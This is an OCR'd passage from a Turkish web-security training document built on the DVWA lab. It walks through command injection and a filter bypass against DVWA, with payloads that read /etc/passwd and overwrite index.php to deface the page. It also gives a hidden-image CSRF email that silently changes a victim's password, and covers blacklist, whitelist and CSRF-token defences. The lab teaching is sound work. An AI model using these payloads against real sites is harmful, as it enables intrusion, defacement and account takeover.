bir komuttur. && operatéri ise operand'larini sirayla calistirmaya yarayan bir AND
operatoruddr.

Yukaridaki kodu okuyacak sunucu ping komutundan dénen ciktiyl nasil ekrana yansitiyorsa
ping'le beraber kullanilan cat komutunun ¢iktisini da ekrana yansitacaktir. Cinkd hatirlayin!
Arkaplanda calisan script kodu su sekilde idi:

1 echo shell exec('ping -c 4' . SmetinKutusu);

$metinKutusu www.includekarabuk.com degerine sahipken sunucu bu veriyi sdyle okuyordu:

1 echo shell exec('ping -c 4 www.includekarabuk.com');

Dolayisiyla ekrana ping komutunun yaptiklari yansiyordu. Eder $metinKutusu degiskeni
www.includekarabuk.com && cat /etc/passwd degerini tutarsa bu durumda sunucu arkaplanda
bunu soyle okuyacaktir:

1 echo shell exec('ping -c 4 www.includekarabuk.com && cat /etc/passwd');
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Dolayisiyla shell_exec() fonksiyonu, igindeki komutlarin olusturdugu toplam ¢iktiyi
dondlrecektir ve echo ile de hepsi ekrana yazdirilacaktir. Dolayisiyla && operatori
enjeksiyonu kusursuzca yapmamizi saglamis olacaktir. Simdi ekrandaki metin kutusuna
asagidaki kodu girelim:

1 www.1includekarabuk.com && cat /etc/passwd

Submit butonuna tiklayalim ve ekrana yansiyan yeni ¢iktiya bakalim:

Vulnerability: Command Injection

Ping a device
Enter an IP address: jncludekarabuk.com && cat || Submit

| SSiemterbeistenrbt

PING includekarabuk.com (93.89.224.247) 56(84) bytes of data.

64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=1 tt1=242 time=39.6 ms
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=2 ttl=242 time=38.1 ms
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp seq=3 ttl=242 time=48.3 ms
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp seq=4 tt1=242 time=47.4 ms

--- includekarabuk.com ping statistics --- PING gIKTISI
4 packets transmitted, 4 received, 0% packet loss, time 3883ms

rtt min/avg/max/mdev = 78.183/80.901/87.450/3.838 ms

root:x:0:0:root:/root: /bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin CAT CIK_I-ISI
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin

man:x:6:12:man: /var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: fusr/sbin/nologin

uucp:x:10:18:uucp: /var/spool/uucp: fusr/sbin/nolegin

proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
www-data:x:33:33 :www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: fvar/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: Jusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologir
nobody:x:65534:65534:nobody: fnonexistent: fusr/sbin/nologin

libuwid:x:188:101:: /var/lib/1libuuid:

syslog:x:101:104: : /home/syslog: /bin/false

messagebus:x:102:186:: /var/run/dbus: /bin/false

usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:184:65534:dnsmasq, , , :/var/lib/misc:/bin/false
avahi-autoipd:x:1085:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:186:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit, ,,:/proc:/bin/false

saned:x:1608:115:: /home/saned: /bin/false

Goruldugu Uzere enjekte ettigimiz cat /etc/passwd komutunun giktisi ping ¢iktisinin altinda
goruntilenmektedir. Boylelikle hedef sitenin "sunucusunda" kendi belirledigimiz sistem
komutunu c¢aligtirabildigimizi fark ettik. Yani sayfanin bir Command Injection zafiyeti
barindirdigini misahade etmis olduk. Bu zafiyet ekrandaki veri girilen metin kutusunun
herhangi bir denetleme mekanizmasina sahip olmayigindan kaynaklanmaktadir. Denetleme
mekanizmasiyla ne demek istedigimi Ders 5 - Command Injection (Medium Level)'da daha iyi
anlayacaksiniz.
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Sayfa Hack'lemek

Simdi ilgili zafiyetin bulundugu sayfayi hack'leyelim ve sayfada sadece "Hacked By Script
Kiddies" yazisinin goruntilemesini saglayalim. Bunu yukarida bahsedilen Command Injection
ile yapacagiz. Yani yine shell (komut satirl) kodlamasi kullanacagiz. Fakat 6nce DVWA'nin
kurulu oldugu dizine gidin ve Command Injection sayfasini kopyalip yedekleyin
(dvwa/vulnerabilities/exec/index.php). Cunki sayfanin igerigini "Hacked " seklinde
degistirecegimiz i¢in daha sonra tekrar eski haline getirmek isteyebilirsiniz. index.php'yi
yedekledikten sonra metin kutusuna asagidakini girin:

www.1includekarabuk.com && echo "<font color=red><center><hl>Hacked By Script
Kiddies</hl></center></font><br>" > index.php

Yukaridaki enjeksiyon kodundaki echo komutu argiman olarak aldigi string'i ekrana
basmaya yarar. > operatorl ise kendinden onceki komutun output'unu kendinden
sonraki dosyanin igerigine yazmaya yarar.

Yukaridaki komut girildikten sonra sayfayi yenileyin. Boylelikle temiz bir sekilde sayfayi
hack'lemis olursunuz.

’ [ Y8netim Paneli - Yaz: x‘ Ders 4- Command In xqulnerability: Com XKQCDmmand Injection - x( [% deneme.html x_
4 @ 4y [ localhost, @ =
i Apps () Yiksek Lisanssib B Hack Forums [l Turkhackteam [ illegalizm [ Vatanin Bekcileri F» Metasploit [{l Msfconsole [ Signin & MailEnable @l Tureng »

Hacked By Script Kiddies

Bu Ornekte biz sayfaya sadece metin yazdirdik. Fakat istenildigi takdirde resim ve video da
konulabilir. Bunun igin yapilmasi gereken sey yukaridaki enjeksiyon kodunun && operatéru
sonrasinda yer alan tirnak igaretleri arasina ilgili resmin ya da videonun html kodunu
yerlestirmektir. Boylece goériuntilenecek sayfa belirtilen resim ve videoyu ekrana yansitacaktir.

NOT: Eski sayfaya tekrar kavusabilmek i¢in yedeklediginiz index.php'yi dvwa/vulnerabilities/exec/ dizini
icine yapistirmalisiniz.

Ekstra

Peki Command Injection saldirisiyla saldirgan bagka ne yapabilir? Bu sorunun cevabi kisa ve
nettir: Hedef sistemde oturup makinayi kontrol eden kisinin yapabilecedi herseyi saldirgan da
yapabilir (Hack'ledigi web uygulamasinin yetkileri dlgiisinde). Ornek olarak diyelim Kki
saldirgan zafiyet barindiran web sayfasinin bulundugu dizindeki tim dosyalarini gérmek
istiyor. Bu durumda asagidaki enjeksiyon kodunu girer:

1 1; 1s

1 sayisi ile 1 adresine ping at demis oluyoruz. Gegersiz bir islem olacagdi igin ekrana onla ilgili
bir ¢ikti yansimayacaktir. BOylece sadece enjekte ettigimiz kodun ¢iktisini gorebilecegiz. 1'den
sonraki noktall virgdl ile ping komutunu sonlandir demig oluyoruz ve yeni bir komut satirina
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gecis yapmis oluyoruz. Bu yeni satirdaki Is komutu ile de bulunulan dizindeki dosyalarin
isimlerini déndurlyoruz ve en sonunda echo komutuyla da bulunulan dizindeki dosyalarin

isimlerini ¢iktl olarak ekrana bastiriyoruz.

Vulnerability: Command Injection

Ping a device
Enter an IP address: 1; Is
help

index.php
source

Submit

Eger saldirgan bir Ust dizinde yer alan dosyalari gérintilemek isterse asagidaki komutu

girebilir:

1 1; cd.. && 1s

Vulnerability: Command Injection

Ping a device
Enter an IP address: [1;cd .. && Is

brute

captcha

csrf

exec

fi

sqli

sqli_blind
upload

view _help.php
view source.php
view source_all.php
X55 T

X555

Submit

Eder saldirgan Ust dizinin Ust dizininde yer alan dosyalari gérintilemek isterse asagidakini

girebilir:

1 l; cd.. ; cd.. && 1s

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi

78



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Vulnerability: Command Injection

Ping a device

Enter an IP address: |1;¢cd .. ; cd .. && Is Submit
CHANGELOG . md
COPYING.Txt
README . md
about.php
config

docs

dvwa

external
favicon.ico
hackable
ids_log.php
index.php
instructions.php
login.php
logout. php
php.ini
phpinfo.php
robots.txt
security.php
setup.php
vulnerabilities

Baoylelikle saldirgan hep bir Ust dizine giderek veya farkli bir dizine dallanarak diledigi dosyanin
konumunu 6grenebilir ve igerigini ekrana yazdirabilir. Ayni zamanda diledigi dosyanin igerigine
Hacked By Falan Filan tarzi seyler yazdirabilir.

Farzedelim ki saldirgan vardidi dizine bir not birakmak istiyor. Bunun igin asagidaki komutu
girmesi yeterlidir:

1 1; cd.. ; cd.. ; echo"Hack yedin. A¢idini kapatmak ic¢in sunlari sunlari yap
vs..." > HACKED.txt; cat HACKED. txt

Boylelikle DVWA'nin kok dizininde HACKED.txt adli bir metin belgesi olusturulur.

TUBITAK — BILGEM - Siber Givenlik Enstitisi 79



TASNIF DISI

Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

/ dvwa vulnerabilities

Places
© Recent
1 Home
[ Desktop
[ Documents
< Downloads
dd Music
I3 Pictures
H videos
{@ Trash
Devices
[ 439GBVolume =
U 32 MB Volume
[ computer

»

Network
2?2 Browse Network

B connect to Server

e

config

i

hackable

"Hack

COPYING.txE

!/
index.php

php.ini

/

security.php

exec

vulnerabilities

favicon.ico

!

instructions.php
!/

phpinfo.php

/
setup.php

about.php

1
a
HACKED.txt
/

login.php
! [DVw
# DAM

README.md

external

DAMN

vi.g
CHANGELOG.md

/

ids_log.php

/
logout.php

User=
Disal

robots.txt

Ayni zamanda kodun enjekte edildigi sayfaya olusturulan not belgesinin igerigi yansitilr.

Bdylelikle dosyanin olusturuldugundan emin olunur:

Vulnerability: Command Injection

Ping a device

Enter an IP address: |1; cd .. ; cd .. ; echo "*Hack yedin. Agiini ke | Submit

“Hack yedin. Agigini kapatmak icim sunlari sunlari yap vs..."”
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DERS 5 - COMMAND INJECTiON (MEDiUM LEVEL)

Bu yazida glvenlik dizeyi Medium seviyesine yukseltiimis DVWA'ya karsi Command Injection
saldirisi ve guvenlik dnlemleri incelenecektir.

Dersin Hedefi

DVWA'da guvenlik Medium Level'’ken Command Injection i¢in ne gibi bir glivenlik dnlemi
alindigini kesfedin ve bu glvenligi asarak yine bir Command Injection saldirisi dizenleyin.

Command Injection'a Karsi1 Onlem

Bir_onceki _derste Command Injection saldirisinin nasil dizenlenecegini géstermistik. O
saldirda givenlik seviyesi Low Level'dl. ilk olarak Low Level'in kullandigi kaynak koda bir
bakalim:

<?php

if( isset( % _POST[ 'Submit' ] 3 ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine 05 and execute the ping command.

if( stristr{ php_uname( 's' ), 'Windows NT" ) ) {
// Windows
fcmd = shell exec( 'ping ' . Ztarget );

L

}

else {
A Fnix

fcmd = shell exec{ 'ping -c 4
}
/{ Feedback for the end user
echoe "<prex{fcmd}</pres";

¥

B

5. satirdaki $target degiskeni ekrandaki metin kutusundan gelecek IP adresini ya da domain
adresini tutacaktir. if-else yapisi ise DVWA'nin tzerinde galistigi isletim sistemine gore ping
komutunu belirleyecek, galistiracak ve ardindan dénen sonucu $cmd degiskenine atayacaktir.
Komutun belirlenmesi ifadesinden kasit sudur: Eger DVWA'yl siz Windows Uzerinde
calistinyorsaniz shell kod olarak s6zgelimi ping www.includekarabuk.com belirlenecektir. Eger
siz DVWA'yi linux bir sistem Uzerinde ¢alistiriyorsaniz bu durumda shell kod olarak ping -c 4
www.includekarabuk.combelirlenecektir.

Fark ettiyseniz yukaridaki kaynak kodda metin kutusundan gelen veri oldugu gibi shell koduna
ekleniyor ve shell kod caligtiriliyor. iste zafiyet bu isleyisten kaynaklanmaktadir. Metin
kutusundan gelen veri oldugu gibi komut satirina génderiimemelidir. Bir denetlemeye tabi
tutulmalidir. iste simdi bunun bir érnegini giivenlik seviyesi Medium Level iken kullanilan
kaynak koda bakarak gorelim:
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<?php

if( isset( % POST[ "Submit' ] ) ) {
// Get input
$target = $_REQUEST[ ‘'ip' 1;

ff set blacklist

fsubstitutions = array(
"BET o= 7,
o= T,
I
!/ Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine 05 and execute the ping command.

if( stristr{ php_uname({ 's' ), 'Windows NT' ) ) {
// indows
fcmd = shell exec{ 'ping ' . $target );
g
J
else {
/i Fnix
femd = shell_exec( 'ping -c 4 ' . Ftarget );

}
/f Feedback for the end user
echo "<prex{fcmd}</pre:";

¥

P

Gorlldugu Gzere 8. satirda $substitution dizisi olusturulmustur. Bu dizi 14. satirda
kullanilmistir. 14. satirda yapilan sey sudur. $target degiskeninin tuttugu degerin igerisinde
eger && karakterleri varsa ya da noktali virgll (;) karakterleri varsa bunlari sil ve $target'in
arindiriimis halini $target degiskenine ata. Hatirlarsaniz 6nceki derste && operatorii sayesinde
enjeksiyon yapmistik. Simdi ise && operatori silinerek metin kutusundaki veri shell_exec()
fonksiyonuna gitmektedir. Boylece oOnceki derste kullandigimiz enjeksiyon yontemi artik
basarisiz olur. isterseniz deneyip gorebilirsiniz( Metin kutusuna daha énceki derste kullanilan
enjeksiyon kodu olan www.includekarabuk.com && cat /etc/passwd girildigi takdirde bu sefer
higbir ¢ikti ekrana yansimayacaktir).

Medium seviyesinde glvenlik yukaridaki kaynak koddan da gérilebilecedi gibi sadece && ve
; karakterlerinin filtrelenmesinden (silinmesinden) ibarettir. Bu zayif bir guvenlik 6nlemidir.
Cunklu asagida yer alan sofistike bir ydntemle bu glvenlik bypass edilebilmektedir
(atlatilabilmektedir):

1 &;& cat /etc/passwd

Yukaridaki &;& karakterlerine dikkat edin. Medium level'da alinan glvenlik 6nlemi geregi
str_replace() fonksiyonu && ve ; karakterlerini silmekteydi. Yukaridaki sofistike yontemdeki &;&
karakterleri ile str_replace()'i kandiriyoruz. str_replace &;& karakterlerini taradijinda ardarda
bir ampersand isaretiyle karsilasmayacagi i¢cin ampersand'lara dokunmayacaktir, fakat noktali
virgul (;) karakterini gordigu an silecektir ve ardindan taramaya devam edip taramayi
sonlandiracaktir. str_replace()'in sildigi noktali virgul sonrasi geriye kalan kodda enjeksiyon
icin arzulanan operator olan && karakterleri meydana gelecektir.

1 && cat /etc/passwd

Yukaridaki kod str_replace()'ten c¢iktigi gibi $target degiskenine oradan da shell_exec()
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fonksiyonuna gidecektir ve enjekte edilen cat komutunun ¢iktisi echo ile ekrana yansitilacaktir.
Yani str_replace() fonksiyonuna noktali virglli feda ettik, fakat bunun karsiliginda
ampersand'lari kazandik.

Akliniza soyle bir soru takilmis olabilir: Neden str_replace() fonksiyonu noktal virgul karakterini
sildikten sonra ortaya cikan ardarda ampersand'lari da silmedi? Bunun nedeni str_replace()
fonksiyonunun recursive c¢alismayisindan dolayidir. Yani enjeksiyon koduna bakan
str_replace() fonksiyonu bastan itibaren sirayla, karakter karakter bizim enjeksiyon kodumuzu
tarayacaktir. ilk ampersand karakterine geldiginde ondan sonra ampersand var mi diye
bakacaktir. Olmadigindan ilk ampersand'l pas gegecektir. Yeni taranan karakter noktali virgul
oldugundan onu silecektir. Ardindan bir sonraki karaktere gecis yapacaktir. Yeni karakter
ampersand'dir. Ondan sonraki karakter ampersand olmaddi i¢in bunu da pas gecgecektir. Yani
tarama sirasinda geriye donus yoktur. Dolayisiyla str_replace()'in filirelemesi ampersand'lara
dokun(a)mayacaktir. Bu yeni kodun ¢alisip ¢calismadigini test etmek icin asagidaki kodu metin
kutusuna girin ve Submit butonuna basin:

1 includekarabuk.com &; & cat /etc/passwd

Vulnerability: Command Injection

Ping a device
Enter an IP address: www.includekarabuk.com &;& cat /etc/pass| | Submit

PING includekarabuk.com (93.89.224,247) 56(84) bytes of data.
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=1 ttl=241 time=]
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=2 ttl=241 time=]
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=3 ttl=241 time=§
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=4 ttl=241 time=§

[ s e
(=== =R
=l =l =l =l
[T

--- includekarabuk.com ping statistics --- PING CIKTIS
4 packets transmitted, 4 received, 8% packet loss, time 3004ms
rtt min/avg/max/mdev = 68.657/71.392/76.120/3.012 ms
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin CAT CIKTISI
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail: fusr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:108:10:uucp:/var/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
www-data:x:33:33:www-data: /var/www: fusr/sbin/nologin
backup:x:34:34:backup: /var/backups: fusr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: fusr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534 : nobody: /nonexistent: fusr/sbin/nologin
libuuid:x:188:101::/var/lib/libuuid:

syslog:x:101:104: : /home/syslog: /bin/false
messagebus:x:102:106: : /var/run/dbus:/bin/false

usbmux:x:103:46:usbmux daemon, ,,:/homefusbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq, ,, :/var/lib/misc: /bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false

Goruldugu Uzere enjekte edilen cat komutunun ciktisi ekrana yansimistir. Sayfa guvenligi
arttinlmis olmasina ragmen halen Command Injection zafiyeti barindigindan dolayi énceki
derste bahsedilen sayfa hack'lemek, hedef sistemin dizinlerinlerine not birakmak, hatta hedef
sistemin ethernet kartini devredigi birakmak gibi tarla turl seyler yapilabilir.
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DERS 6 - COMMAND INJECTiON (HiGH LEVEL)

Bu yazida guvenlik dizeyi High seviyesine ylkseltimis DVWA'ya karsi Command Injection
saldirisi yapilabilir mi yapilamaz mi sorusunun cevabi irdelenecektir.

Dersin Hedefi
Command Injection'dan nasil korunulurun cevabini kesfedin.

Command Injection'a Karsi Onlem

ilk Command Injection dersinde bir command injection saldirisinda bulunmustuk ve bir sayfa
hack'lemistik. ikinci Command Injection dersinde seviyesi arttirlimis giivenligi atlatmanin
yolunu gostermistik. Bu Command Injection dersinde ise seviyenin bir kademe daha
yukseltildigi bir sayfanin gavenligini nasil temin ettigine bakacagiz. High Level'in kaynak kodu
su sekildedir:

<?php

if( isset( $_POST[ "Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ ‘'ip' ]);

£/ set blacklist
$substitutions = array(

=% "
ooy

s o=,
o=,
gD
LoD
SR
SR,
R,
' I.‘

1;

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys{ $substitutions ), $substitutions, $target );

// Determine 05 and execute the ping command.
if({ stristr{ php_uname( 's' ), "Windows NT' ) )} {
// Windows

$cmd = shell_exec( 'ping ' . %target );
}
else {
£ Fnix
$cmd = shell_exec{ 'ping -c 4 ' . %target );

1
J

/i Feedback for the end user
echo "<pre-{fcmd}</pre>";

b

I

Guvenlik Medium seviyesinde iken sadece && ve ; karakterleri metin kutusundan gelen veriden
siliniyordu. Gilvenlik High seviyesinde iken yukaridaki $substitution dizisinden de
gorulebilecedi gibi silinecek operatérlerin sayisi arttirllmistir. Simdi  bir 6nceki derste
kullandigimiz sofistike yontemin bu glvenlik seviyesini gecip gegemedigine bir bakalim. Gegen
derste glvenligi atlatan kod su sekilde idi:

1 &;& cat /etc/passwd
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Bu numara bu sefer sékmeyecektir. Cunku filtrelenecekler listesinde bu sefer && silinsin
denilmemis, & silinsin denilmis. Dolayisiyla yukaridaki kod str_replace() fonksiyonundan
gecince su hale dénlisecektir:

1 cat /etc/passwd

Yukaridakini alan shell_exec() fonksiyonu bunu bir IP adresi diye alacaktir ve bu
yorumlanamayacagi igin de komut satiri hata verecektir ve bir ¢ikti ddndlirmeyecektir. Sonug
olarak ekrana enjekte edilmesini umdugumuz cat komutunun c¢iktisi yansimayacaktir.

Evet, s6zun bittigi yerdeyiz. Elimiz kolumuz bagli. Yapacak pek bi'sey yok. Fakat kimse sunu
iddia edemez: Bundan 6tesine gegilemez. Unutmayin, glvenlik Medium seviyesinde iken de
bdyle denebilirdi, fakat guvenlik gegildi. Hem de hi¢c umulmayacak bir yontemle. Dolayisiyla
bakis acimiz hep olabilirlik Gzerine kurulmahdir. Diger turli hacker gibi disinemeyiz ve
korudugumuz sistemlerden hack'lenmeyen kalmaz.

Sonug

Guvenlik Medium seviyesinde iken kara liste diye tabir edilen glvenlik proseduri
uygulanmistir. Yani kara listede olanlar filtrele, gerisini saliver mantigi... Bu yazinin konusu
olan High seviyesinde ise yine kara liste yontemi uygulanmistir, fakat kara listenin kapsami
genisletiimis ve daha hassas olusturulmustur. Givenlik camiasinda bir de beyaz liste ile
guvenlik saglama yontemi vardir. Bu yonteme gore sdzgelimi metin kutusundan gelecek veri
icerisinden beyaz listede olanlari ¢ek, gerisini sil mantigi guddlur. Kara liste ise bunun tam
tersidir: "Kara listede olanlar sil, gerisini ¢ek". Guvenlik uzmanlarn tarafindan beyaz liste
onerilmektedir. Clinkil en kaliteli ve saglam glvenlik beyaz liste ile temin edilebilir. Kara liste
guvenligi belli bir miktar saglar, fakat gelecekte gelebilecek yeni tiur ataklara karsi
savunmasizdir.
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DERS 7 - CROSS SITE REQUEST FORGERY (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin glvenlik zafiyetinden
faydalanarak Cross Site Request Forgery saldirisinda bulunulacaktir.

Dersin Hedefi
DVWA'da oturum agmis kurbanin sifresini kurban fark etmeden dedistirin.

Cross Site Reqeust Forgery Nedir?

Cross-Site Request Forgery, yani sitelerarasi talep sahtekarligi saldirisi uzaktan bir form
tag’ini kurbana submit’lestirmeye denir. Mesela saldirganin online bir bankacilik islemi igin
kullanilan parametrelere sahip linki kurbana eposta yoluyla goénderdigini varsayalim. Bu
durumda kurban mail'i goérintiledigi siralarda ilgili bankaya ait siteye bagh vaziyette ise
istemeden bankanin bir form'unu submit’lemis olur ve mesela saldirgana para transfer etmis
olur. TUm bu slreci anlamlandirabilecediniz drnek bir sonraki baslikta bahsedilmistir.

Cross Site Reqeust Forgery Nasil Yapilir?
Ik olarak bu dersin linkine dikkat edin:

http://localhost/dvwa/vulnerabilities/csrf/

Ardindan ekrandaki metin kutularini doldurun:

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

New password:

------

------

Change butonu ile form'u submit'lestirdiginizde linkin dénustigu son hale bakin:

http://localhost/dvwa/vulnerabilities/csrf/?password_new=denemeé&password_conf=deneme
&Change=Change#

Gordaldugu dzere DVWA'nin bu sayfasi sifre degisikligini "GET" methodu ile yapmaktadir. Bunu
bilen saldirgan yukaridaki linke bakarak sifre kisimlarina kendi belirledigi sifreleri koyabilir,
ardindan bu linki <img’nin igine gdmup bir eposta hazirlayabilir ve kurbana yollayabilir. Bunun
Uzerine kurban saldirgandan gelen postayi géruntilediginde eger DVWA'da oturumu o siralar
acik vaziyette ise sifresini istemeden degistirmis olur. Hem de fark etmeden... Boylesi bir
senaryoda saldirgan asagidaki gibi bir eposta icerigini kurbana yollayabilir:
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<html>
<head>
<title>TEBRIKLER, 10% KAZANDINIZ</title>

<body>
<p>Bravo size * </p>
<img src="http://localhost/dvwa/vulnerabilities/cerf/?password newsdenems&password_conf=denemedChange=Change#” width="1" height="1">
</body>
</html>

Yukaridaki <img> tag'ina dikkat edin. <img> tag'i resim linki almaliyken bunun yerine
saldirganin emelleri dogrultusunda hazirlanmis bir link almigtir. Bu link kurbanin sifresini
"deneme" olarak degistirecektir. Akliniza séyle bir soru gelmis olabilir: Neden <img> tag'i
kullanildi? Bunun nedeni <img> tag'inin aldidi linke kullanicidan higbir midahale istemeden
otomatikmen talep génderiyor olusundandir. Yani disunin: Bir web sitesinde siz resim
goruntilerken genellikle "resmi goérintile" gibi butonlara basmazsiniz. Resim kendiliginden
gérintilenir. iste bunun nedeni <img> tag'inin otomatik bir sekilde resmi sunucudan istiyor
olusundandir. Saldirgan <img> tag'inin bu otomatik talep génderme 6zelliginden faydalanarak
resim linki yerine kendi saldiri linkini koymustur. Boylelikle kurban epostayi gorantilendiginde
<img> tag'i otomatikmen kendinde olan linke resim alabilmek igin talepte bulunacaktir. Sonucta
bu bir resim linki olmadigi i¢in cevap olarak resim gelmeyecektir. Fakat sonugta talep yapilimis
olacaktir. Yani sanki kurban saldirganin gonderdigi linki tarayicisinin adres ¢ubuguna girip
ENTER'lamis gibi olacaktir. Diger bir ifadeyle sanki kurban DVWA'nin sifre degistirme
sayfasinda yer alan formu eliyle submit'lemis gibi olacaktir. Saldirgan kurbanin epostadan
kuskulanmamasi i¢in <img tag'ina genislik ve ylkseklik olarak 1 degerini koymustur (width="1"
height="1") Bdylece <img> tag'i resim alamadiginda resim goérintilenemiyoru ifade etmek igin
gOsterecegi carpi isaretinin goruntilenmesi engellenmis olacaktir ve kurban hicbir seyden
haberdar olamayacaktir.

Simdi bu eposta igeriginin gercekten ise yarayip yaramadigini test edelim. DVWA'da
oturumunuz agik vaziyette dursun ve yukaridaki eposta igerigini bir html dosyasina yapistirin.
Ardindan html dosyasini tarayicinizin yan sekmesinde gérintileyin. Artik sifreniz degismis
bulunmaktadir. Bunu gérmek icin DVWA'nin sol alt kdsesindeki Logout butonuna tiklayin ve
eski sifreniz ile giris yapmayi deneyin. Giremeyeceksiniz. Epostada kullandiginiz linkin
parametresinde yer alan yeni sifre ile giris yapabilirsiniz.

NOT: Saldiri esnasinda bir eposta hizmeti fark ettiyseniz kullaniimadi. Bunun yerine eposta icerigini biz
kendi tarayicimizda gériintiileyerek saldiriyr simule ettik. Bunun nedeni popliler eposta hizmeti veren
servislerin bu tip saldirilari bertaraf ediyor olusundandir.

Sonug

Yukarida bahsedilen yontemle sifre degistirmenin disinda daha etkili saldirilar da yapilabilir.
Mesela bu yontem para transferi icin GET methodunu kullanan online bankacilik sitelerinde de
kullanilabilir. img tag’'inin igine yerlestirilen url’nin para ve transfer yap parametrelerine belli bir
miktar para ve saldirganin kendi hesap bilgisi konularak kurbanin ruhu duymadan para
transferi gerceklestirilebilir. Fakat bankalar boyle agikliklara artik sahip degiller. Ustelik email
hizmeti sunan hotmail, gmail gibi servisler de <img> taginin bdyle usulstizce kullanimi
konusunda oOnlemler almiglardir. Mesela gmail aldigi img tag’ini kendi sunucusunda
degerlendiriyor ve img tag’inin resim Uretmedigini tespit etiginde img’nin src attribute’'una kendi
url’'sini yerlestirerek eposta alicisina postayl o sekilde sunuyor. Boylelikle kurban saldiryi
atlatmis oluyor. Bu sakincali URL’yi ziyaret eden Google sunucusu ise normal bir kullanici gibi
sitelerde gezip oturum agmayacag! icin gelen saldiridan etkilenmiyor. Dolayisiyla img tag’inin
bu kaydadeger kullanimi populer eposta servis saglayicilari i¢in gecerli degildir. Ancak yeni
yetme email servislerinde eger Onlem alinmamigsa kullanilabili. CSRF saldirisi ile
yapilabileceklere ilave 6rnek olarak kurbanin zafiyete sahip web uygulamasindaki hesabinda
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yer alan eposta adresini degistirme (bdylece hesabi ele gecirmeye donuk sifre reset'lemeyi
umma), kurban adina zafiyete sahip web uygulamasinda absurt bir ileti gdnderme (bdylece
kurbani belki kétt bir duruma digtrme) gibi.

Bu gosterilen csrf saldirisi temel bir uygulamadir. Bu uygulamay! saldirganin gesitli sayida
saldiri kodunu epostaya géomdugu sekilde hayal edebilirsiniz. Yani bu eposta icerisinde csrf
acigl olan birden fazla web uygulamasina (populer teknoloji forumlarina, populer oyun
forumlarina, popdler portallere) dénik aksiyon aldirtma veya birden fazla aksiyon aldirtma
kodlari yer aldigi seklinde. Bu sekilde birden fazla (6rn; onlarca) <img etiketi ile saldirgan
kurbanlarin bu siteleri kullaniyor oldugu varsayimindan hareketle sgansini arttirmayi
deneyebilir.

Cross Site Request Forgery'den Korunma

Hassas bilgilerin iletilecedi form'larda GET kullanimindan kaginilmalidir. GET yerine POST
kullaniimahdir. Canku eger kritik form'larda GET methodu kullanilirsa formu Submit'leme iglevi
linklere de verilmis olur ve bdéylelikle yukarida anlatilanlardan gérdiginuiz tzere Cross Site
Request Forgery'nin 6nu agilmis olur. Kritik olmayan noktalarda (formlarda) GET methodu
kullanilabilir. GET ile POST'un arasindaki farki 6grenmek icin su yazimi okuyabilirsiniz.

Eger GET kullanimi mecburiyse ve GET'in kullanilacagi form gercekten de kritik bir islem
yurttiyorsa bu durumda CSRF saldirilariyla kurbanlarin bu form'u fark etmeden
submit'lemesinin (veya submit'lettiriimesinin) dniine gegmek icin Cross Site Request Forgery
Token (Siteler Arasi Talep Sahtekarli§i Jetonu) kullaniimahdir. Yani kisaca CSRF Token
onlemi. CSRF Token, form alanlarina koyulan rastgele olusturulmus bir degerdir. GET
metodunu  kullanan  form'larda form'un uzaktan (6rnedin yan sekmelerden)
submit'lettiriimesinin énline gegmek igin kullanilir.

Ornegin DVWA icin konusacak olursak dvwa'da csrf agigi olan nokta su sekildeydi;

DVWA'da CSRF Saldirisi Yapilabilen Nokta:

<form action="#" method="GET">»
Mew password: <br:

